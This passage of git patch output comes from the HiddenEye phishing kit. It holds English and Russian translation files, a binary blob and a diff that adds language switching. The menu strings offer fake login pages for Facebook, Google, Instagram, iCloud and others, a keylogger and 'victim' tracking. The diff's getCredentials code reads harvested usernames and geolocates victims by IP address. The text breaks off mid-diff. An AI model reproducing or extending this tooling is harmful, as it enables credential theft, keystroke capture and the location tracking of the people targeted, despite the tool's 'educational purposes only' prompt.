{1}_....~~~~=====~~~~...._\n" +" .'========={3}/----=\\{1}=========>\n" +" /:========={3}/-----====\\{1}\n" +" |=========={3}|-----======|{1}==========>\n" +" \\:========={3}\\---======/{1}\n" +" \\=========={3}\\=====/{1}==========>\n" +" ````~~~~=======~~~~````\n" +"\n" +" {3}HIDDEN EYE {3}BY: DARKSEC TEAM\n" +" {0}THANKS FOR USING IT. HELP US TO MAKE IT MORE USEFUL\n" +" {3}https://github.com/DarkSecDevelopers/HiddenEye " + +#: Defs/Actions.py:277 +#, python-brace-format +msgid "" +"{0}[{1}*{0}]{1} Waiting for credentials//Keystrokes//Victim's device info. \n" +msgstr "" +"{0}[{1}*{0}]{1} Waiting for credentials//Keystrokes//Victim's device info. \n" + +#: Defs/Actions.py:283 +#, python-format, python-brace-format +msgid "" +" {0}[ CREDENTIALS FOUND ]{1}:\n" +" {0}%s{1}" +msgstr "" +" {0}[ CREDENTIALS FOUND ]{1}:\n" +" {0}%s{1}" + +#: Defs/Actions.py:293 +msgid "Victim Public IP: (.*?)\n" +msgstr "Victim Public IP: (.*?)\n" + +#: Defs/Actions.py:298 +#, python-format, python-brace-format +msgid "" +" \n" +"{0}[ VICTIM IP BONUS ]{1}:\n" +" {0}%s{1}" +msgstr "" +" \n" +"{0}[ VICTIM IP BONUS ]{1}:\n" +" {0}%s{1}" + +#: Defs/Actions.py:304 +#, python-format, python-brace-format +msgid "" +" \n" +"{0}[ VICTIM INFO FOUND ]{1}:\n" +" {0}%s{1}" +msgstr "" +" \n" +"{0}[ VICTIM INFO FOUND ]{1}:\n" +" {0}%s{1}" + +#: Defs/Actions.py:305 +#, python-brace-format +msgid "" +" \n" +"{0}Longitude: {2} \n" +"Latitude: {3}{1}" +msgstr "" +" \n" +"{0}Longitude: {2} \n" +"Latitude: {3}{1}" + +#: Defs/Actions.py:306 +#, python-brace-format +msgid "" +" \n" +"{0}ISP: {2} \n" +"Country: {3}{1}" +msgstr "" +" \n" +"{0}ISP: {2} \n" +"Country: {3}{1}" + +#: Defs/Actions.py:307 +#, python-brace-format +msgid "" +" \n" +"{0}Region: {2} \n" +"City: {3}{1}" +msgstr "" +" \n" +"{0}Region: {2} \n" +"City: {3}{1}" + +#: Defs/Actions.py:317 +#, python-format, python-brace-format +msgid "" +" {0}[ GETTING PRESSED KEYS ]{1}:\n" +" {0}%s{1}" +msgstr "" +" {0}[ GETTING PRESSED KEYS ]{1}:\n" +" {0}%s{1}" + +#: Defs/Checks.py:15 +#, python-brace-format +msgid "{0}Successful connection!{1}" +msgstr "{0}Successful connection!{1}" + +#: Defs/Checks.py:21 +#, python-brace-format +msgid "" +"{1}\n" +" _ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}\n" +" |__| | ] | ] | |__ |\\ | {0}|__ \\__/ |__{1}\n" +" | | | ]__| ]__| |__ | \\| {0}|__ || |__{1}\n" +"\n" +" {0}[{1}!{0}]{1} Network error. Verify your connection.\n" +"\n" +msgstr "" +"{1}\n" +" _ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}\n" +" |__| | ] | ] | |__ |\\ | {0}|__ \\__/ |__{1}\n" +" | | | ]__| ]__| |__ | \\| {0}|__ || |__{1}\n" +"\n" +" {0}[{1}!{0}]{1} Network error. Verify your connection.\n" +"\n" + +#: Defs/Checks.py:32 +msgid "[*] Downloading Ngrok..." +msgstr "[*] Downloading Ngrok..." diff --git a/Lang/ru_RU/LC_MESSAGES/hiddeneye.mo b/Lang/ru_RU/LC_MESSAGES/hiddeneye.mo new file mode 100644 index 0000000000000000000000000000000000000000..2e0355f9fd04c1b41383390db787d4efbf9f7881 GIT binary patch literal 11717 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\n" +"Language-Team: \n" +"Language: ru_RU\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Generator: Poedit 2.2\n" +"X-Poedit-Basepath: ../../..\n" +"Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n" +"%10<=4 && (n%100<12 || n%100>14) ? 1 : 2);\n" +"X-Poedit-SearchPath-0: Lang\n" +"X-Poedit-SearchPath-1: Defs\n" + +#: Defs/Actions.py:74 +#, python-brace-format +msgid "" +"\n" +" {0}Please select any available server:{1}" +msgstr "" +"\n" +"{0}Пожалуйста выберите сервер из списка:{1}" + +#: Defs/Actions.py:75 +#, python-brace-format +msgid "" +"\n" +" {0}[{1}1{0}]{1} Ngrok\n" +" {0}[{1}2{0}]{1} Serveo" +msgstr "" +"\n" +" {0}[{1}1{0}]{1} Ngrok\n" +" {0}[{1}2{0}]{1} Serveo" + +#: Defs/Actions.py:119 +#, python-brace-format +msgid "" +"\n" +"\n" +"\n" +"{1}" +"<=============================================================================>\n" +" || " +"||\n" +" {1}|| ██ ██ ██ ██████ ██████ ███████ ███ ██ {3}███████ ██ ██ " +"███████ {1}||\n" +" {1}|| ██ ██ ██ ██ ██ ██ ██ ██ ████ ██ {3}██ ██ ██ " +"██ {1}||\n" +" {1}|| ███████ ██ ██ ██ ██ ██ ███████ ██ ██ ██ {3}███████ ████ " +"███████ {1}||\n" +" {1}|| ██ ██ ██ ██ ██ ██ ██ ██ ██ ████ {3}██ ██ " +"██ {1}||\n" +" {1}|| ██ ██ ██ ██████ ██████ ███████ ██ ███ {3}███████ ██ " +"███████ {1}||\n" +" || " +"||\n" +" -----------------------------------------------------------------------------\n" +" v{3}0{1}.{3}1{1}.{3}" +"0{1} BY:DARKSEC{2}\n" +" {0}[ NOW WITH LIVE VICTIM ATTACK INFORMATION ]\n" +" {0}A KEYLOGGER WILL BE DEPLOYED FOR YOU, TO CAPTURE EVERY " +"KEYSTROKE ]\n" +"<=============================================================================>\n" +" " +msgstr "" +"\n" +"\n" +"\n" +"{1}" +"<=============================================================================>\n" +" || " +"||\n" +" {1}|| ██ ██ ██ ██████ ██████ ███████ ███ ██ {3}███████ ██ ██ " +"███████ {1}||\n" +" {1}|| ██ ██ ██ ██ ██ ██ ██ ██ ████ ██ {3}██ ██ ██ " +"██ {1}||\n" +" {1}|| ███████ ██ ██ ██ ██ ██ ███████ ██ ██ ██ {3}███████ ████ " +"███████ {1}||\n" +" {1}|| ██ ██ ██ ██ ██ ██ ██ ██ ██ ████ {3}██ ██ " +"██ {1}||\n" +" {1}|| ██ ██ ██ ██████ ██████ ███████ ██ ███ {3}███████ ██ " +"███████ {1}||\n" +" || " +"||\n" +" -----------------------------------------------------------------------------\n" +" v{3}0{1}.{3}1{1}.{3}" +"0{1} От команды DARKSEC{2}\n" +" {0}[ ТЕПЕРЬ СО СБОРОМ ИНФОРМАЦИИ О ЖЕРТВЕ ]\n" +" {0}ДЛЯ ВАС БЫЛ ЗАПУЩЕН ПЕРЕХВАТЧИК ВВОДА , ЧТОБЫ НЕ ПРОПУСТИТЬ " +"НИОДНОЙ СТРОКИ ]\n" +"<=============================================================================>\n" +" " + +#: Defs/Actions.py:150 +#, python-format, python-brace-format +msgid "{0}[{1}*{0}]{1} HiddenEye is Opening. Please Wait... %d%%" +msgstr "{0}[{1}*{0}]{1} HiddenEye открывается. Пожалуйста подождите... %d%%" + +#: Defs/Actions.py:153 +#, python-brace-format +msgid "" +"\n" +"{2}[{1}!{2}]{1} Do you agree to use this tool for educational purposes only? " +"({2}y{1}/{0}n{1})\n" +"{2}HiddenEye >>> {1}" +msgstr "" +"\n" +"{2}[{1}!{2}]{1} Согласны ли вы использовать этот инструмент исключительно в " +"образовательных целях? (Выберите: {2}y = Да{1}/{0}n = Нет{1})" + +#: Defs/Actions.py:155 +#, python-brace-format +msgid "" +"\n" +"\n" +"[ {0}YOU ARE NOT AUTHORIZED TO USE THIS TOOL.YOU CAN ONLY USE IT FOR " +"EDUCATIONAL PURPOSE. GOOD BYE!{1} ]\n" +"\n" +msgstr "" +"\n" +"\n" +"[ {0} ВЫ НЕ АВТОРИЗОВАНЫ ДЛЯ ИСПОЛЬЗОВАНИЯ ЭТОГО ИНСТРУМЕНТА.ЕГО " +"ИСПОЛЬЗОВАНИЕ ДОПУСКАЕТСЯ ТОЛЬКО В ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЯХ. ДОСВИДАНИЯ![{1} ]\n" +"\n" + +#: Defs/Actions.py:157 +#, python-brace-format +msgid "" +"\n" +"SELECT ANY ATTACK VECTOR FOR YOUR VICTIM:\n" +"\n" +" {0}[{1}1{0}]{1} Facebook\n" +"\n" +" {0}[{1}2{0}]{1} Google\n" +"\n" +" {0}[{1}3{0}]{1} LinkedIn\n" +"\n" +" {0}[{1}4{0}]{1} GitHub\n" +"\n" +" {0}[{1}5{0}]{1} StackOverflow\n" +"\n" +" {0}[{1}6{0}]{1} WordPress\n" +"\n" +" {0}[{1}7{0}]{1} Twitter\n" +"\n" +" {0}[{1}8{0}]{1} Instagram\n" +"\n" +" {0}[{1}9{0}]{1} Snapchat\n" +"\n" +" {0}[{1}10{0}]{1} Yahoo\n" +"\n" +" {0}[{1}11{0}]{1} Twitch\n" +"\n" +" {0}[{1}12{0}]{1} Microsoft\n" +"\n" +" {0}[{1}13{0}]{1} Steam\n" +"\n" +" {0}[{1}14{0}]{1} VK\n" +"\n" +" {0}[{1}15{0}]{1} iCloud\n" +"\n" +"{0}HiddenEye >>> {1}" +msgstr "" +"\n" +"ВЫБЕРИТЕ МЕТОД АТАКИ ДЛЯ ВАШЕЙ ЖЕРТВЫ:\n" +"\n" +" {0}[{1}1{0}]{1} Facebook\n" +"\n" +" {0}[{1}2{0}]{1} Google\n" +"\n" +" {0}[{1}3{0}]{1} LinkedIn\n" +"\n" +" {0}[{1}4{0}]{1} GitHub\n" +"\n" +" {0}[{1}5{0}]{1} StackOverflow\n" +"\n" +" {0}[{1}6{0}]{1} WordPress\n" +"\n" +" {0}[{1}7{0}]{1} Twitter\n" +"\n" +" {0}[{1}8{0}]{1} Instagram\n" +"\n" +" {0}[{1}9{0}]{1} Snapchat\n" +"\n" +" {0}[{1}10{0}]{1} Yahoo\n" +"\n" +" {0}[{1}11{0}]{1} Twitch\n" +"\n" +" {0}[{1}12{0}]{1} Microsoft\n" +"\n" +" {0}[{1}13{0}]{1} Steam\n" +"\n" +" {0}[{1}14{0}]{1} VK\n" +"\n" +" {0}[{1}15{0}]{1} iCloud\n" +"\n" +"{0}HiddenEye >>> {1}" + +#: Defs/Actions.py:160 +#, python-brace-format +msgid "" +"\n" +"Operation mode:\n" +"\n" +" {0}[{1}1{0}]{1} Standard Page Phishing\n" +"\n" +" {0}[{1}2{0}]{1} Advanced Phishing-Poll Ranking Method(Poll_mode/" +"login_with)\n" +"\n" +" {0}[{1}3{0}]{1} Facebook Phishing- Fake Security issue(security_mode) \n" +"\n" +" {0}[{1}4{0}]{1} Facebook Phising-Messenger Credentials(messenger_mode) \n" +"\n" +"{0}HiddenEye >>> {1}" +msgstr "" +"\n" +"Тип операции:\n" +"\n" +" {0}[{1}1{0}]{1} Обычная страница\n" +"\n" +" {0}[{1}2{0}]{1} Продвинутый фишинг-Метод опроса(Poll_mode/login_with)\n" +"\n" +" {0}[{1}3{0}]{1} Facebook фишинг- Фальшивая проблема " +"безопасности(security_mode) \n" +"\n" +" {0}[{1}4{0}]{1} Facebook фишинг-Инициалы Messenger'a (messenger_mode) \n" +"\n" +"{0}HiddenEye >>> {1}" + +#: Defs/Actions.py:164 +#, python-brace-format +msgid "" +"\n" +"Operation mode:\n" +"\n" +" {0}[{1}1{0}]{1} Standard Page Phishing\n" +"\n" +" {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n" +"\n" +" {0}[{1}3{0}]{1} New Google Web\n" +"\n" +"{0}HiddenEye >>> {1}" +msgstr "" +"\n" +"Тип операции:\n" +"\n" +" {0}[{1}1{0}]{1} Обычная страница\n" +"\n" +" {0}[{1}2{0}]{1} Продвинутый фишинг(poll_mode/login_with)\n" +"\n" +" {0}[{1}3{0}]{1} Новый Google Web\n" +"\n" +"{0}HiddenEye >>> {1}" + +#: Defs/Actions.py:188 +#, python-brace-format +msgid "" +"\n" +"Operation mode:\n" +"\n" +" {0}[{1}1{0}]{1} Standard Instagram Web Page Phishing\n" +"\n" +" {0}[{1}2{0}]{1} Instagram Autoliker Phising (After submit redirects to " +"original autoliker)\n" +"\n" +"{0}HiddenEye >>> {1}" +msgstr "" +"\n" +"Тип операции:\n" +"\n" +" {0}[{1}1{0}]{1} Обычная веб-страница Instagram\n" +"\n" +" {0}[{1}2{0}]{1} Instagram автолайкер (После подтверждения, ссылается на " +"оригинальный автолайкер)\n" +"\n" +"{0}HiddenEye >>> {1}" + +#: Defs/Actions.py:212 +#, python-brace-format +msgid "" +"\n" +"Operation mode:\n" +"\n" +" {0}[{1}1{0}]{1} Standard VK Web Page Phishing\n" +"\n" +" {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n" +"\n" +"{0}HiddenEye >>> {1}" +msgstr "" +"\n" +"Operation mode:\n" +"\n" +" {0}[{1}1{0}]{1} Обычная веб-страница VK\n" +"\n" +" {0}[{1}2{0}]{1} Продвинутый фишинг(poll_mode/login_with)\n" +"\n" +"{0}HiddenEye >>> {1}" + +#: Defs/Actions.py:222 +#, python-brace-format +msgid "" +" {0}\n" +" [{1}*{0}] module loaded. Building site...{0}" +msgstr "" +" {0}\n" +" [{1}*{0}] модуль загружен. Построение сайта...{0}" + +#: Defs/Actions.py:226 +msgid "" +"\n" +" (Choose Wisely As Your Victim Will Redirect to This Link)" +msgstr "" +"\n" +" (Выбирайте с умом, ваша жертва будет перенаправлена по этому адресу)" + +#: Defs/Actions.py:227 +msgid "" +"\n" +" (Leave Blank To Loop The Phishing Page)" +msgstr "" +"\n" +" (Оставьте пустым чтобы зациклить страницу)" + +#: Defs/Actions.py:228 +#, python-brace-format +msgid "" +"\n" +" {0}Insert a custom redirect url:" +msgstr "" +"\n" +" {0}Введите альтернативный адрес переадресации:" + +#: Defs/Actions.py:229 +#, python-brace-format +msgid "" +"\n" +" {0}CUSTOM URL>>> {1}" +msgstr "" +"\n" +" {0}АЛЬТЕРНАТИВНЫЙ АДРЕС >>> {1}" + +#: Defs/Actions.py:260 +#, python-brace-format +msgid "" +"\n" +" {1}_....~~~~=====~~~~...._\n" +" .'========={3}/----=\\{1}=========>\n" +" /:========={3}/-----====\\{1}\n" +" |=========={3}|-----======|{1}==========>\n" +" \\:========={3}\\---======/{1}\n" +" \\=========={3}\\=====/{1}==========>\n" +" ````~~~~=======~~~~````\n" +"\n" +" {3}HIDDEN EYE {3}BY: DARKSEC TEAM\n" +" {0}THANKS FOR USING IT. HELP US TO MAKE IT MORE USEFUL\n" +" {3}https://github.com/DarkSecDevelopers/HiddenEye " +msgstr "" +"\n" +" {1}_....~~~~=====~~~~...._\n" +" .'========={3}/----=\\{1}=========>\n" +" /:========={3}/-----====\\{1}\n" +" |=========={3}|-----======|{1}==========>\n" +" \\:========={3}\\---======/{1}\n" +" \\=========={3}\\=====/{1}==========>\n" +" ````~~~~=======~~~~````\n" +"\n" +" {3}HIDDEN EYE {3}ОТ КОМАНДЫ DARKSEC \n" +" {0}СПАСИБО ЧТО ОСТАЕТЕСЬ С НАМИ. ПОМОГИТЕ НАМ СДЕЛАТЬ ПРИЛОЖЕНИЕ " +"ПОЛЕЗНЕЕ\n" +" {3}https://github.com/DarkSecDevelopers/HiddenEye " + +#: Defs/Actions.py:277 +#, python-brace-format +msgid "" +"{0}[{1}*{0}]{1} Waiting for credentials//Keystrokes//Victim's device info. \n" +msgstr "" +"{0}[{1}*{0}]{1} Ожидание базовой информации//нажатий клавиш//информации об " +"устройстве жертвы. \n" + +#: Defs/Actions.py:283 +#, python-format, python-brace-format +msgid "" +" {0}[ CREDENTIALS FOUND ]{1}:\n" +" {0}%s{1}" +msgstr "" +" {0}[ ИНФОРМАЦИЯ ОБНАРУЖЕНА ]{1}:\n" +" {0}%s{1}" + +#: Defs/Actions.py:293 +msgid "Victim Public IP: (.*?)\n" +msgstr "Публичный IP жертвы: (.*?)\n" + +#: Defs/Actions.py:298 +#, python-format, python-brace-format +msgid "" +" \n" +"{0}[ VICTIM IP BONUS ]{1}:\n" +" {0}%s{1}" +msgstr "" +" \n" +"{0}[ Дополнительный IP жертвы ]{1}:\n" +" {0}%s{1}" + +#: Defs/Actions.py:304 +#, python-format, python-brace-format +msgid "" +" \n" +"{0}[ VICTIM INFO FOUND ]{1}:\n" +" {0}%s{1}" +msgstr "" +" \n" +"{0}[ КООРДИНАТЫ ЖЕРТВЫ ОБНАРУЖЕНЫ ]{1}:\n" +" {0}%s{1}" + +#: Defs/Actions.py:305 +#, python-brace-format +msgid "" +" \n" +"{0}Longitude: {2} \n" +"Latitude: {3}{1}" +msgstr "" +" \n" +"{0}Долгота: {2} \n" +"Широта: {3}{1}" + +#: Defs/Actions.py:306 +#, python-brace-format +msgid "" +" \n" +"{0}ISP: {2} \n" +"Country: {3}{1}" +msgstr "" +" \n" +"{0}Интернет провайдер: {2} \n" +"Страна: {3}{1}" + +#: Defs/Actions.py:307 +#, python-brace-format +msgid "" +" \n" +"{0}Region: {2} \n" +"City: {3}{1}" +msgstr "" +" \n" +"{0}Регион: {2} \n" +"Город: {3}{1}" + +#: Defs/Actions.py:317 +#, python-format, python-brace-format +msgid "" +" {0}[ GETTING PRESSED KEYS ]{1}:\n" +" {0}%s{1}" +msgstr "" +" {0}[ ПОЛУЧЕНИЕ НАЖАТЫХ КЛАВИШ ]{1}:\n" +" {0}%s{1}" + +#: Defs/Checks.py:15 +#, python-brace-format +msgid "{0}Successful connection!{1}" +msgstr "{0}Успешное соединение!{1}" + +#: Defs/Checks.py:21 +#, python-brace-format +msgid "" +"{1}\n" +" _ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}\n" +" |__| | ] | ] | |__ |\\ | {0}|__ \\__/ |__{1}\n" +" | | | ]__| ]__| |__ | \\| {0}|__ || |__{1}\n" +"\n" +" {0}[{1}!{0}]{1} Network error. Verify your connection.\n" +"\n" +msgstr "" +"{1}\n" +" _ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}\n" +" |__| | ] | ] | |__ |\\ | {0}|__ \\__/ |__{1}\n" +" | | | ]__| ]__| |__ | \\| {0}|__ || |__{1}\n" +"\n" +" {0}[{1}!{0}]{1} Сетевая ошибка. Проверьте ваше " +"подключение.\n" +"\n" + +#: Defs/Checks.py:32 +msgid "[*] Downloading Ngrok..." +msgstr "[*] Загрузка Ngrok..." From 83a738b3f8b4a139ed8c1d284d68591a0e53b84d Mon Sep 17 00:00:00 2001 From: Artur Tretiak Date: Mon, 19 Nov 2018 19:49:09 +0200 Subject: [PATCH 2/4] Ability to change language! New - Full Russian Translation New - Change language using Settings.ini --- Defs/Actions.py | 18 +-- Defs/Checks.py | 5 +- Defs/Languages.py | 33 ++++- HiddenEye.py | 10 +- .../en}/LC_MESSAGES/hiddeneye.mo | Bin 10267 -> 10445 bytes .../en}/LC_MESSAGES/hiddeneye.po | 109 +++++++++-------- .../ru}/LC_MESSAGES/hiddeneye.mo | Bin 11717 -> 11983 bytes .../ru}/LC_MESSAGES/hiddeneye.po | 114 ++++++++++-------- 8 files changed, 175 insertions(+), 114 deletions(-) rename {Lang/en_US => locale/en}/LC_MESSAGES/hiddeneye.mo (84%) rename {Lang/en_US => locale/en}/LC_MESSAGES/hiddeneye.po (89%) rename {Lang/ru_RU => locale/ru}/LC_MESSAGES/hiddeneye.mo (83%) rename {Lang/ru_RU => locale/ru}/LC_MESSAGES/hiddeneye.po (89%) diff --git a/Defs/Actions.py b/Defs/Actions.py index caf8972..89ddba9 100644 --- a/Defs/Actions.py +++ b/Defs/Actions.py @@ -9,12 +9,15 @@ from urllib.request import urlopen from subprocess import check_output from sys import stdout, argv from Defs.Configurations import readConfig, ifSettingsNotExists -from gettext import gettext as _ +from Defs.Languages import * + +checkAndSetLanguage() #WIP!!! MUST BE UPDATED RED, WHITE, CYAN, GREEN, DEFAULT = '\033[91m', '\033[46m', '\033[36m', '\033[1;32m', '\033[0m' ifSettingsNotExists() config = readConfig() + logFile = None didBackground = config.get("Settings","DidBackground") for arg in argv: @@ -147,7 +150,8 @@ def runMainMenu(): #menu where user select what they wanna use for i in range(101): sleep(0.05) - stdout.write(_("{0}[{1}*{0}]{1} HiddenEye is Opening. Please Wait... %d%%").format(RED, DEFAULT) % i) + stdout.write(_("{0}[{1}*{0}]{1} HiddenEye is Opening. Please Wait...{2}%").format(RED, DEFAULT, i)) + system("clear") stdout.flush() if input(_("\n{2}[{1}!{2}]{1} Do you agree to use this tool for educational purposes only? ({2}y{1}/{0}n{1})\n{2}HiddenEye >>> {1}").format(CYAN, DEFAULT, RED)).upper() != 'Y': #Question where user must accept education purposes @@ -280,7 +284,7 @@ def getCredentials(): lines = creds.read().rstrip() if len(lines) != 0: writeLog('======================================================================'.format(RED, DEFAULT)) - writeLog(_(' {0}[ CREDENTIALS FOUND ]{1}:\n {0}%s{1}').format(GREEN, DEFAULT) % lines) + writeLog(_(' {0}[ CREDENTIALS FOUND ]{1}:\n {0}{2}{1}').format(GREEN, DEFAULT, lines)) system('rm -rf Server/www/usernames.txt && touch Server/www/usernames.txt') writeLog('======================================================================'.format(RED, DEFAULT)) @@ -290,18 +294,18 @@ def getCredentials(): with open('Server/www/ip.txt') as creds: lines = creds.read().rstrip() if len(lines) != 0: - ip = re.match(_('Victim Public IP: (.*?)\n'), lines).group(1) - resp = urlopen('https://ipinfo.io/%s/json' % ip) + ip = re.match('User Public IP: (.*?)\n', lines).group(1) + resp = urlopen('https://ipinfo.io/{0}/json'.format(ip)) ipinfo = json.loads(resp.read().decode(resp.info().get_param('charset') or 'utf-8')) if 'bogon' in ipinfo: log('======================================================================'.format(RED, DEFAULT)) - log(_(' \n{0}[ VICTIM IP BONUS ]{1}:\n {0}%s{1}').format(GREEN, DEFAULT) % lines) + log(_(' \n{0}[ VICTIM IP BONUS ]{1}:\n {0}{2}{1}').format(GREEN, DEFAULT, lines)) else: matchObj = re.match('^(.*?),(.*)$', ipinfo['loc']) latitude = matchObj.group(1) longitude = matchObj.group(2) writeLog('======================================================================'.format(RED, DEFAULT)) - writeLog(_(' \n{0}[ VICTIM INFO FOUND ]{1}:\n {0}%s{1}').format(GREEN, DEFAULT) % lines) + writeLog(_(' \n{0}[ VICTIM INFO FOUND ]{1}:\n {0}{2}{1}').format(GREEN, DEFAULT, lines)) writeLog(_(' \n{0}Longitude: {2} \nLatitude: {3}{1}').format(GREEN, DEFAULT, longitude, latitude)) writeLog(_(' \n{0}ISP: {2} \nCountry: {3}{1}').format(GREEN, DEFAULT, ipinfo['org'], ipinfo['country'])) writeLog(_(' \n{0}Region: {2} \nCity: {3}{1}').format(GREEN, DEFAULT, ipinfo['region'], ipinfo['city'])) diff --git a/Defs/Checks.py b/Defs/Checks.py index ad39621..d112804 100644 --- a/Defs/Checks.py +++ b/Defs/Checks.py @@ -5,7 +5,10 @@ from os import path, system from subprocess import check_output from platform import system as systemos, architecture from wget import download -from gettext import gettext as _ +from Defs.Languages import * + +checkAndSetLanguage() #WIP!!! MUST BE UPDATED + RED, GREEN, DEFAULT = '\033[91m', '\033[1;32m', '\033[0m' diff --git a/Defs/Languages.py b/Defs/Languages.py index 4699f67..7ba8d17 100644 --- a/Defs/Languages.py +++ b/Defs/Languages.py @@ 